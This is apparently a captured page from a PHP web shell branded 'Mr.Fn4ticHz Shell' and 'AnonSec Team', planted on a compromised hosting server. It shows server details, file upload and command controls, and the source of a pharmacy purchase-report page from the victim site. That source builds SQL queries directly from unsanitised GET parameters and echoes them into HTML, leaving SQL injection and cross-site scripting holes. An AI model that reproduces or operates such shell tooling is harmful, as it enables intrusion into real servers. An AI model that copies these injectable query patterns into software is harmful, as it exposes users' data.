Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.217.150.123
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/Pharmacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/Pharmacy/purchasereport.php
 <?php
session_start();
require_once('../../DBManager.php');
require_once('../../LoginManager.php');
require_once('../../patientmanager.php');
include 'menu.php';
include 'header.php';
include("dbconnection.php");
?>
   
   <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>


<?php
session_start();
include("dbconnection.php");
require_once('../../DBManager.php');
require_once("../../LoginManager.php");
require_once('../../patientmanager.php');
?>
 
<!DOCTYPE html>
<html>  <head>
    <title>Medicine in Stock</title>
    <style>
      .modal {
        display: none;
        position: fixed;
        z-index: 8;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        overflow: auto;
        background-color: rgb(0, 0, 0);
        background-color: rgba(0, 0, 0, 0.4);
      }
      .modal-content {
        margin: 50px auto;
        border: 1px solid #999;
        width: 60%;
      }
      h2,p {
        margin: 0 0 20px;
        font-weight: 400;
  
      }     
     .form1 {
        padding: 25px;
        margin: 25px;
        box-shadow: 0 2px 5px #f5f5f5;
        background: #eee;
      }
      input,
      textarea, select {
        width: 100%;
        padding: 6px;
        margin-bottom: 20px;
        border: 1px solid #1c87c9;
        outline: none;
      }
      .contact-form button {
        width: 100%;
        padding: 10px;
        border: none;
        background: #1c87c9;
        font-size: 16px;
        font-weight: 400;
        color: #fff;
      }
      button:hover {
        background: #2371a0;
      }
      .close {
        color: #aaa;
        float: right;
        font-size: 58px;
        font-weight: bold;
      }
      .close:hover,
      .close:focus {
        color: black;
        text-decoration: none;
        cursor: pointer;
      }
      button.button {
        display: inline-block;
       
        border-bottom: #02274a 1px solid;
     
        font-size: 19px;
        cursor: pointer;
      }
      
      button.button:hover {
    
        border-bottom: #a99567 1px solid;
        color: #a99567;
      }
      a.tooltiplink {
    position: relative;
}
 
a.tooltiplink:hover::after {
    content: attr(data-title);
    background-color: #306D04;
    color: #fff;
    padding: 8px;
    border-radius: 4px;
    font-size: 12px;
    line-height: 14px;
    display: block;
    position: absolute;
    top: 100%;
    left: 50%;
    transform: translateX(-50%);
    white-space: nowrap;
    z-index: 1;
}

    </style>
      <style>

 
/* Automatic Serial Number Row */
.css-serial {
 counter-reset: serial-number; /* Set the serial number counter to 0 */
}
.css-serial td:first-child:before {
 counter-increment: serial-number; /* Increment the serial number counter */
 content: counter(serial-number); /* Display the counter */
}
</style>
  <script>

// function myFunction2() {
//   var checkBox = document.getElementById("myCheck2");
//   var text = document.getElementById("text2");
//   if (checkBox.checked == true){
//     text.style.display = "block";
//   } else {
//      text.style.display = "none";
//   }
// }
</script>
  </head>
  <body>
      
   
          
        
    <h2 Align="center">Purchase Report </h2>
<!--      <div class="checkbox"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <input name="Addiction" id="myCheck2" onclick="myFunction2()" class="shopitem-list" type="checkbox"><span>Custom Search </span>-->
<!--</div>-->
   <div id="text2"  >
          
                
                 <form action="" method="GET">
                            <div class="row">
                                <div class="col-md-2">
                                    <div class="form-group">
                                        <label>From Date</label>
                                        <input type="date" name="from_date" value="<?php if(isset($_GET['from_date'])){ echo $_GET['from_date']; } ?>" class="form-control">
                                    </div>
                                </div>
                                <div class="col-md-2">
                                    <div class="form-group">
                                        <label>To Date</label>
                                        <input type="date" name="to_date" value="<?php if(isset($_GET['to_date'])){ echo $_GET['to_date']; } ?>" class="form-control">
                                    </div>
                                </div>
                                <div class='col-md-3'>
                                    <div class="form-group">
                                         <label> Vendor </label>
                                  <select id='select-state' name='list_vendor' required="true">
        <option value=''>----Select Vendor----</option>
        	<?php 
        		 $narayan=LoginManager::currentUser();
        $hari=LoginManager::getUserTypeByuname("$narayan");
        	$sql ="SELECT * FROM site_users WHERE userno='$hari'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
		
        	$VenderList=$con->query("SELECT * FROM `list_vendor` where adminid='$re[entered_by]'");
        	while($RowVL=$VenderList->fetch_array()){
        	?>
        	
             <option value="<?php echo $RowVL['vid'] ?>" <?php echo ($_GET['list_vendor']==$RowVL['vid'])? 'selected':''; ?>><?php echo $RowVL['name'] ?></option>
             <?php } ?>
             </select></div></div>
             
 
                               
                                <div class="col-md-3">
                                    <div class="form-group">
                                    <br>
                                      <button type="submit" class="btn btn-primary">Apply</button>
                                    </div>
                                </div>
                            </div>
                        </form>
                          <button style='height:40px;width:200px' onclick="location.href='purchasereport.php'" type="button"> <span style="color:white">    Reset</span></button>
                              
                        </div> 
   
        <table id="myTable"  class="order-table table table-bordered table-hover css-serial sumtable">
                  <thead>
         
						<tr>
						    <th>SR No</th>
						    <th>Medicine Details</th>
						     <th>Vendor</th>
						     <th>Status</th>
							<th>Action</th>
						</tr>
				
      
                  </thead>
<?php
include("dbconnection.php");
require_once('../../DBManager.php');
require_once('../../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");

	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
		    $from_date=$_GET['from_date'];
		    $to_date=$_GET['to_date'];
		    $list_vendor=$_GET['list_vendor'];
		    
		    
		    $from_date1 = (isset($from_date) ? $from_date : '');
		    $to_date1 = (isset($to_date) ? $to_date : '');
		    $list_vendor1 = (isset($list_vendor) ? $list_vendor : '');
		    
	if($from_date1 && $to_date1 && $list_vendor1){
	    $sql ="SELECT pi.date_of_purchase,pi.Cmrp,pi.Quantity,pi.purchase_id,pi.entered_by,pi.Batch_number,pi.totalQuatity,ms.DRUGS_name,ms.Dose, lv.name,ms.admin_id,ms.Category,pi.vendor,pi.medicine_id,pi.invoice_no,lv.emailid,lv.vid FROM medicine_stok AS ms INNER JOIN purchase_invoice AS pi ON ms.medicine_id = pi.medicine_id INNER JOIN list_vendor AS lv ON lv.vid = pi.vendor Where admin_id='$re[entered_by]' AND date(date_of_purchase) BETWEEN '$from_date1' AND '$to_date1' AND vendor='$list_vendor1'";
	}
	if($from_date1=='' && $to_date1=='' && $list_vendor1==''){
	    $sql ="SELECT pi.date_of_purchase,pi.Cmrp,pi.Quantity,pi.purchase_id,pi.entered_by,pi.Batch_number,pi.totalQuatity,ms.DRUGS_name,ms.Dose, lv.name,ms.admin_id,ms.Category,pi.vendor,pi.medicine_id,pi.invoice_no,lv.emailid,lv.vid FROM medicine_stok AS ms INNER JOIN purchase_invoice AS pi ON ms.medicine_id = pi.medicine_id INNER JOIN list_vendor AS lv ON lv.vid = pi.vendor Where ms.admin_id='$re[entered_by]'";
	}	 

$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
   
  
  if($rs['Category']=='Injectable'){
	               $cat="Vial";
		          $pricetotal1=$rs[Cmrp]*$rs['Quantity'];
                  //$pricetotal1=$sizefinal*$rsp2[quantitygiven];
                  $pricetotal=round($pricetotal1);
		        }
		        if($rs['Category']=='IV Fluid'){
		            $cat="Bottle";
		            $pricetotal1=$rs[Cmrp]*$rs['Quantity'];
                   // $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        if($rs['Category']=='Capsule'){
		            $cat="Capsules";
		            $pricetotal1=$rs[Cmrp]*$rs['Quantity'];
                    //$pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        if($rs['Category']=='Tablet'){
		            $cat="Tablets";
		            $pricetotal1=$rs[Cmrp]*$rs['Quantity'];
                   // $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        if($rs['Category']=='Syrup'){
		            $cat="Bottle";
		            $pricetotal1=$rs[Cmrp]*$rs['Quantity'];
                    //$pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        if($rs['Category']=='Powder'){
		            $cat="Bottle";
                	$pricetotal1=$rs[Cmrp]*$rs['Quantity'];
                   // $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        if($rs['Category']=='Ointment'){
		            $cat="Tube";
		            $pricetotal1=$rs[Cmrp]*$rs['Quantity'];
                   // $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        
		        if($rs['Category']=='Drop'){
		            $cat="Bottle";
		            $pricetotal1=$rs[Cmrp]*$rs['Quantity'];
                    //$pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		         
		        if($rs['Category']=='Solution'){
		            $cat="Bottle";
		             $pricetotal1=$rs[Cmrp]*$rs['Quantity'];
                     //$pricetotal1=$sizefinal*$rsp2[quantitygiven];
                     $pricetotal=round($pricetotal1);
		        }
		        
		        if($rs['Category']=='Patch'){
		            $cat="Patch";
		            $pricetotal1=$rs[Cmrp]*$rs['Quantity'];
                    //$pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
	        
          $disGST=$pricetotal/100;
                $GSTfinal1=$disGST*$rs[gst]; 
                $GSTfinal=round($GSTfinal1) ;
                
                $GRANDTOTAL=$rsp2[pricetotal];
  
  echo "<tr>
   <td></td>
  <td> <b><b>Drug : </b>$rs[DRUGS_name] 
            <br><b>Dose : </b>$rs[Dose]
            
            <br><b>Batch Number : </b>$rs[Batch_number]
            <br><b>Date Of Purchase : </b>$rs[date_of_purchase]
             <br><b>	Invoice No : </b>$rs[invoice_no]
            <br><b>Cost : </b>$rs[Cmrp]
            <br><b>Qty : </b>$rs[Quantity]  <br>($rs[totalQuatity] $rs[Category]) 
           
            
            </td>
   <td>$rs[name]
<br>$rs[emailid]</td>
   <td>";
    $PInvoice=$con->query("SELECT * FROM purchasereport WHERE Batch_number='$rs[Batch_number]' AND vendor='$rs[vendor]'");  
       $RPInvoice=$PInvoice->fetch_array();
       
    
       
        if($RPInvoice['status']=='1') {  ?>
            
  
             <div class='row'>
                 <div class='col-sm-12'><b style='color:#228B22; float:left'>Paid</b> <b style='color:#228B22;float:right'><?php echo $RPInvoice['DisAmt'] ?></b></div>
                 
             </div>
     
     
     <?php    echo "
         
         
         
         <input type='hidden' name='price' id='price' class='price' value='$RPInvoice[DisAmt]'>
         
         <input type='hidden' name='Fgst' id='Fgst' class='Fgst' value='$RPInvoice[Fgst]'>
         
         ";  
         ?>
         
             <div class='row'>
                 <div class='col-sm-12'><b style='color:#228B22;float:left'>GST</b> <b style='color:#228B22;float:right'><?php echo $RPInvoice['Fgst'] ?></b></div>
                 
             </div>
         
         
         
         
         <?php
            
          $ReturnAmt=$con->query("SELECT * FROM `PurchaseRetuneMedicine` WHERE `Batch_number`='$RPInvoice[Batch_number]' AND `vendor`='$RPInvoice[vendor]' AND pid='$RPInvoice[purchase_report_id]'");
      while($RowReturnAmt=$ReturnAmt->fetch_array()){
        
        $sqlpatient2 = "SELECT * FROM medicine_inventory WHERE inventory_id='$RowReturnAmt[inventory_id]'";
	$qsqlpatient2 = mysqli_query($con,$sqlpatient2);
 if($rsn2=$qsqlpatient2->fetch_assoc()) ?>
 
   
      
     <div class='row'>
                 <div class='col-sm-12'><b style='color:#800000;float:left'>Return</b> <b style='color:#800000;float:right'><?php echo ROUND($RowReturnAmt['ReturnPrice']) ?></b></div>
                 
             </div> 
      
      
    <?php  $disGST=$RowReturnAmt['ReturnPrice']/100;
	    
                $GSTfinal1=$disGST*$rsn2['gst']; 
                
                
                $GSTfinal=round($GSTfinal1) ;
      ?>
      
      <div class='row'>
                 <div class='col-sm-12'> <b style='color:blue;float:left'>Return GST </b> <b style='color:blue;float:right'><?php echo ROUND($GSTfinal) ?></b></div>
                 
             </div>
      
     
      
    <?php  echo "<input type='hidden' name='ReturnAmt' value='$RowReturnAmt[ReturnPrice]' id='ReturnAmt' class='ReturnAmt' />";
      
     echo "<input type='hidden' name='GSTfinal' value='$GSTfinal' id='GSTfinal' class='GSTfinal' />";
}  
            
            
        }  
       
       
       
        
       
         else {
             ?>
             
              <div class='row'>
                 <div class='col-sm-12'> <b style='color:#D62C08;float:left'>Due </b> <b style='color:#D62C08;float:right'><?php echo $pricetotal ?></b></div>
                 
             </div>
             
             
            
      
       <?php echo "
            <input type='hidden' name='DuePrice' id='DuePrice' class='DuePrice' value='$pricetotal'>";   }
           
       
   echo "</td>
   <td>";
     $PInvoice=$con->query("SELECT * FROM purchasereport WHERE Batch_number='$rs[Batch_number]' AND vendor='$rs[vendor]'");  
       $RPInvoice=$PInvoice->fetch_array();
        if($RPInvoice['status']=='1') {
           
           echo " 
           <a class='tooltiplink' data-title='View' href='purchase_timeline.php?medicine_id=$rs[medicine_id]&invoice_no=$rs[invoice_no]&vendor=$rs[vid]&pid=$RPInvoice[purchase_report_id]'> <i class='fa fa-eye' style='font-size:20px;'></i> </a>  |
           
           <a class='tooltiplink' data-title='Return' href='Return_purchase_invoice.php?medicine_id=$rs[medicine_id]&invoice_no=$rs[invoice_no]&vendor=$rs[vid]&pid=$RPInvoice[purchase_report_id]'> <i class='fa fa-undo' aria-hidden='true' style='color:#971B01'></i> </a>";
           
          
           
        }  
         
         else {
            echo " <a class='tooltiplink' data-title='View' href='purchase_invoice.php?medicine_id=$rs[medicine_id]&invoice_no=$rs[invoice_no]&vendor=$rs[vid]'> <i class='fa fa-eye' style='font-size:20px;'></i> </a>";
        }
   echo "</td>
   
   </tr>"; 
    
}
		    
		    
		}
?>    </tbody>
  <tfoot>
     
     <div class='row'>
                 <div class='col-sm-6'>  <lable>Paid Amt :-</lable> &nbsp;&nbsp;&nbsp;  <b><i class='fa fa-inr'></i>  <span align='right' id='val'></b></span></div>
                 
                 <div class='col-sm-6'>   <lable>GST  :-</lable> &nbsp;&nbsp;&nbsp;  <b><i class='fa fa-inr'></i>  <span align='right' id='GSTval'></b></span></div>
                 
               
                
                
                <div class='col-sm-6'>  <lable>Return Amt :-</lable> &nbsp;&nbsp;&nbsp;  <b><i class='fa fa-inr'></i>  <span align='right' id='ReturnValue'></b></span></div>
                
                
                <div class='col-sm-6'>  <lable>GST (Return)  :-</lable> &nbsp;&nbsp;&nbsp;  <b><i class='fa fa-inr'></i>  <span align='right' id='GSTfinalVal'></b></span><br>
    
    <input type='hidden' name='ReturnValue_Total' id='ReturnValue_Total' class='ReturnValue_Total'  style='width:25%;'></div>
   
   
    <div class='col-sm-6'>   <lable>Due Amt :-</lable> &nbsp;&nbsp;&nbsp;  <b><i class='fa fa-inr'></i>  <span align='right' id='DueAmt'></b></span>
    <input type='hidden' name='DuePriceVal_Total' id='DuePriceVal_Total' class='DuePriceVal_Total' style='width:25%;'></div>
                 
             </div>
     
   
   

    
    
     <lable>Total Payable Amt :-</lable> &nbsp;&nbsp;&nbsp;  <b><i class='fa fa-inr'></i>  <span align='right' id='PayableAmt'></b></span>
     
     
   
          </tfoot>
          
            
        </table>
     
        
  <script>
      $(document).ready(function () {
      $('select').selectize({
          sortField: 'text'
      });
  });
  
  

  </script>
   <script>
        // $(document).on("change keyup blur", "#DuePriceVal_Total", function() {
        //     var main3 = $('#ReturnValue_Total').val();
        //     var disc3 = $('#DuePriceVal_Total').val();
          
        //     var discont3 = disc3-main3;
        //     $('#PayableAmt').val(discont3);
        // });
    </script>
     <script>
            
            var table = document.getElementById("myTable"), sumVal = 0;
            
            $(".price").each(function() {
                    sumVal += Number($(this).val());
                   
                 });
            document.getElementById("val").innerHTML = "" + sumVal;
            $('#total_value').val(sumVal);
            
            
          
             </script>
             
              <script>
            
            var table = document.getElementById("myTable"), DuePriceVal = 0;
            
            $(".DuePrice").each(function() {
                    DuePriceVal += Number($(this).val());
                   
                 });
            document.getElementById("DueAmt").innerHTML = "" + DuePriceVal;
            $('#DuePriceVal_Total').val(DuePriceVal);
            
            
          
             </script>
             
               <script>
            
            var table = document.getElementById("myTable"), ReturnVal = 0;
            
            $(".ReturnAmt").each(function() {
                    ReturnVal += Number($(this).val());
                   
                 });
            document.getElementById("ReturnValue").innerHTML = "" + ReturnVal;
            $('#ReturnValue_Total').val(ReturnVal);
            
            
          
             </script>
             
             <script>
                   var table = document.getElementById("myTable"), PayVal = 0;
            
            $(".DuePriceVal_Total").each(function() {
                    PayVal = Number($(this).val()) - Number($('.ReturnValue_Total').val());
                   
                 });
            document.getElementById("PayableAmt").innerHTML = "" + PayVal;
            //$('#total_value').val(sumVal);GSTfinal
             </script>
             
              <script>
                  var table = document.getElementById("myTable"), ReturnValgst = 0;
            
            $(".GSTfinal").each(function() {
                    ReturnValgst += Number($(this).val());
                   
                 });
            document.getElementById("GSTfinalVal").innerHTML = "" + ReturnValgst;
            $('#ReturnValue_Total').val(ReturnValgst);
             </script>
             
             <script>
                  var table = document.getElementById("myTable"),TgstVal = 0;
            
            $(".Fgst").each(function() {
                    TgstVal += Number($(this).val());
                   
                 });
            document.getElementById("GSTval").innerHTML = "" + TgstVal;
            $('#GSTval1').val(ReturnValgst);
             </script>
             
             
             
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/js/standalone/selectize.min.js" integrity="sha256-+C0A5Ilqmu4QcSPxrlGpaZxJ04VjsRjKu+G82kl5UJk=" crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/css/selectize.bootstrap3.min.css" integrity="sha256-ze/OEYGcFbPRmvCnrSeKbRTtjG4vGLHXgOqsyLFTRjg=" crossorigin="anonymous" />

  </body>
</html>


Anon7 - 2022
AnonSec Team